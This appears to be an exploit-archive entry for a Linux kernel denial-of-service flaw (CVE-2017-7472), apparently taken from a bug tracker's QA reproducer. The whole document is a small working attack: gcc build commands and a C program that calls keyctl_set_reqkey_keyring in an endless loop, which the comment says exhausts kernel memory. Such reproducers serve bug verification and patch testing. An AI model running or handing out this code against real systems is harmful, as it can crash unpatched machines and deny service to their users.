Linux Kernel keyctl_set_reqkey_keyring Denial Of Service

`/*  
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862  
QA REPRODUCER:  
  
gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils  
./CVE-2017-7472  
  
(will run the kernel out of memory)  
*/  
#include <sys/types.h>  
#include <keyutils.h>  
  
int main()  
{  
for (;;)  
keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);  
}  
  
`